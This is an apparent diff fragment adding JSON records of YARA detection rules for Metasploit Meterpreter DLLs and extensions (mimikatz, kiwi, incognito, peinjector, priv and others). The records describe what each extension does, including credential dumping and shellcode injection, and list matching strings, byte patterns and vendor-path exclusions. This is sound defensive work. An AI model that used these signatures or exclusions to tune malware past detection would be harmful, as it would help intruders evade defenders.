  // mov     r8, rbx\n            6A 04                                         // push    4\n            5A                                            // pop     rdx\n            FF D0                                         // call    rax\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_injected_DLL_a14543949a52"
+  ],
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_extapi_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578932Z",
+  "creation_date": "2026-03-23T11:46:25.578935Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578944Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_extapi_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_extapi_dll {\n    meta:\n        title = \"Metasploit Extapi Extension DLL\"\n        id = \"d1f0f28e-c54f-466b-b105-af302d271bee\"\n        description = \"Detects Metasploit Extapi extension DLL in memory.\\nThe Extapi extension provides extended API access, including system service manipulation and file system operations.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/ext_server_extapi.x64.dll\n        $s1 = \"extapi_service_\" ascii\n        $s2 = \"extapi_clipboard_\" ascii\n        $s3 = \"packet_add_\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_extapi_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_generic_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578666Z",
+  "creation_date": "2026-03-23T11:46:25.578668Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578674Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_generic.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_generic {\n    meta:\n        title = \"Generic Metasploit Extension DLL\"\n        id = \"ecc44d73-6192-4204-999a-1190c69b1c4c\"\n        description = \"Detects a generic Metasploit extension DLL in memory.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/*\n        $string1 = \"DeinitServerExtension\" ascii\n        $string2 = \"GetExtensionName\" ascii\n        $string3 = \"InitServerExtension\" ascii\n\n        // Exclusion for McAfee\n        $mcafee1 = \"Software\\\\McAfee\\\\SystemCore\" wide fullword\n        $mcafee2 = \"McAfee On-Access Scanner service\" wide fullword\n        $mcafee3 = \"SOFTWARE\\\\McAfee\\\\AVSolution\\\\Install_Reference\" wide fullword\n        $mcafee4 = \"McAfee Scanner service\" wide fullword\n\n        // Canary\n        $canary = \"e0743c805cd51b2fd89ea0003eb1c5ed2aa5e116e465a294fee9154f22e3c1b6\" ascii\n\n    condition:\n        2 of ($string*) and not (\n            (\n                2 of ($mcafee*) and\n                (\n                    filepath == \"C:\\\\Program Files\\\\Common Files\\\\McAfee\\\\SystemCore\\\\mcshield.exe\" or\n                    filepath == \"C:\\\\Program Files\\\\Common Files\\\\McAfee\\\\AVSolution\\\\mcshield.exe\" or\n                    filepath == \"C:\\\\Program Files\\\\McAfee\\\\Endpoint Security\\\\Threat Prevention\\\\AMCore\\\\mfeamcin.exe\" or\n                    filepath == \"C:\\\\Program Files\\\\McAfee\\\\Endpoint Security\\\\Threat Prevention\\\\mfetp.exe\" or\n                    filepath == \"C:\\\\Program Files\\\\Common Files\\\\McAfee\\\\Engine\\\\AMCoreUpdater\\\\amupdate.exe\"\n                )\n            ) or\n            (\n                filepath == \"C:\\\\Program Files\\\\Veeam\\\\Backup365\\\\Veeam.Archiver.Proxy.exe\"\n            )\n        ) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_generic"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_incognito_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.579263Z",
+  "creation_date": "2026-03-23T11:46:25.579267Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.579275Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_incognito_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_incognito_dll {\n    meta:\n        title = \"Metasploit Incognito Extension DLL\"\n        id = \"2470b1ff-223e-4f93-88cb-513be811a991\"\n        description = \"Detects Metasploit Incognito extension DLL in memory.\\nThe Incognito extension is used for user impersonation by adding users to groups and accessing system resources under the context of another user.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/ext_server_incognito.x64.dll\n        $s2 = \"incognito_add_\" ascii\n        $s3 = \"[*] Attempting to add user %s to group %s on domain controller %s\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_incognito_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_kiwi_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578984Z",
+  "creation_date": "2026-03-23T11:46:25.578986Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578992Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_kiwi_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_kiwi_dll {\n    meta:\n        title = \"Metasploit Kiwi Extension DLL\"\n        id = \"78d54a1e-9d41-4776-8db9-e44d4e8a525e\"\n        description = \"Detects Metasploit Kiwi extension DLL in memory.\\nThe Kiwi extension enables Windows authentication and allows interaction with the operating system's native authentication mechanisms, including Kerberos.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/ext_server_kiwi.x64.dll\n        $s1 = {6B 69 77 69 5F 65 78 65 63 5F 63 6D 64} // 'kiwi _ exec _ cmd' without spaces\n        $s2 = \"stdapi_fs_\" ascii\n        $s3 = \"Kerberos\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_kiwi_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_mimikatz_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578548Z",
+  "creation_date": "2026-03-23T11:46:25.578550Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578555Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_mimikatz_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_mimikatz_dll {\n    meta:\n        title = \"Metasploit Mimikatz Extension DLL\"\n        id = \"adc49ce7-6bb2-41f7-9c40-2c201728a5cb\"\n        description = \"Detects Metasploit Mimikatz extension DLL in memory.\\nThe Mimikatz extension is used to dump credentials and perform lateral movement.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002;attack.s0002;attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002;attack.t1550.003\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/ext_server_mimikatz.x64.dll\n        $s1 = \"mimikatz_custom_command\" ascii\n        $s2 = \"Le type retou\" ascii\n        $s3 = \"KiwiAndPst\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_mimikatz_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003",
+    "attack.t1055.002",
+    "attack.t1550.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_peinjector_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.579092Z",
+  "creation_date": "2026-03-23T11:46:25.579094Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.579100Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_peinjector_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_peinjector_dll {\n    meta:\n        title = \"Metasploit PEInjector Extension DLL\"\n        id = \"c3c4eee3-d65b-45de-a84f-87c26b372d8b\"\n        description = \"Detects Metasploit PEInjector extension DLL in memory.\\nThe PEInjector extension injects shellcode into processes to establish persistence.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/ext_server_peinjector.x64.dll\n        $s1 = \"peinjector_inject_shellcode\" ascii\n        $s2 = \"There was an error, shellcode not injected\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_peinjector_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_powershell_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578696Z",
+  "creation_date": "2026-03-23T11:46:25.578698Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578704Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_powershell_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_powershell_dll {\n    meta:\n        title = \"Metasploit Powershell Extension DLL\"\n        id = \"a867f7d0-4388-4f1e-a055-11a659a6f2aa\"\n        description = \"Detects Metasploit Powershell extension DLL in memory.\\nThe Powershell extension uses PowerShell to execute commands and evade detection.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002;attack.t1059.001\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/ext_server_powershell.x64.dll\n        $s1 = \"powershell_\" ascii\n        $s2 = \"MSF.Powershell.\" ascii\n\n        // Exclusion for Ivanti\n        $ivanti = \"\\\\endpoint\\\\bin\\\\x64\\\\Release\\\\EPSecurityService.exe.pdb\" ascii\n\n    condition:\n        all of them and not ($ivanti and filepath == \"C:\\\\Program Files\\\\Ivanti\\\\Endpoint\\\\epsecurityservice.exe\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_powershell_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002",
+    "attack.t1059.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_priv_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566863Z",
+  "creation_date": "2026-03-23T11:46:25.566865Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566892Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_priv_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_priv_dll {\n    meta:\n        title = \"Metasploit Priv Extension DLL\"\n        id = \"8afe9bbe-565c-41be-885e-7ab7b625743f\"\n        description = \"Detects Metasploit Priv extension DLL in memory.\\nThe Priv extension is used for privilege escalation by exploiting misconfigured permissions.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/ext_server_priv.x64.dll\n        $s1 = \"priv_elevate_getsystem\" ascii\n        $s2 = \"priv_fs_\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_priv_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_extension_stdapi_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566749Z",
+  "creation_date": "2026-03-23T11:46:25.566751Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566757Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_extension_stdapi_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_extension_stdapi_dll {\n    meta:\n        title = \"Metasploit Stdapi Extension DLL\"\n        id = \"a599c92b-1eff-4271-a763-be1b566f5a24\"\n        description = \"Detects Metasploit Stdapi extension DLL in memory.\\nThe Stdapi extension provides functions to interact with system processes, including system command execution and process injection.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // metasploit-payloads-1.3.70/data/meterpreter/ext_server_stdapi.x64.dll\n        $s1 = {73 74 64 61 70 69 5F 72 65 67 69 73 74 72 79 5F} // 'stdapi _ registry _' without spaces\n        $s2 = \"stdapi_sys_process_\" ascii\n        $s3 = \"core_channel_open\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_extension_stdapi_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_memory_metsrv_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
